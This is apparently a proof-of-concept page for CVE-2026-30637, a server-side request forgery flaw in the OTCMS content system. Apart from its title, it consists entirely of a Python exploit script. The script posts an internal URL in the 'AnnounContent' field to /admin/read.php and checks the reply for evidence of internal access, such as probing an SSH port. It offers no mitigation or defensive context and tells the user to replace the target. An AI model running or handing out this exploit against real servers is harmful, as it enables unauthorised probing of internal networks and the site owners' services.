CVE-2026-30637 OTCMS服务端请求伪造漏洞

import requests def exploit_ssrf(target_url, internal_url): """ Exploit SSRF in OTCMS /admin/read.php :param target_url: The base URL of the target OTCMS instance :param internal_url: The internal URL to access (e.g., http://127.0.0.1:80) """ vuln_endpoint = f"{target_url}/admin/read.php" # Payload data targeting the vulnerable parameter payload = { "AnnounContent": internal_url } try: print(f"[*] Sending request to {vuln_endpoint} with payload: {internal_url}") response = requests.post(vuln_endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response length: {len(response.text)}") # Check if response contains indications of the internal resource if "root" in response.text or "Internal Server Error" in response.text: print("[!] Potential SSRF interaction detected.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target internal_target = "http://127.0.0.1:22" # Example: checking if SSH is open exploit_ssrf(target, internal_target)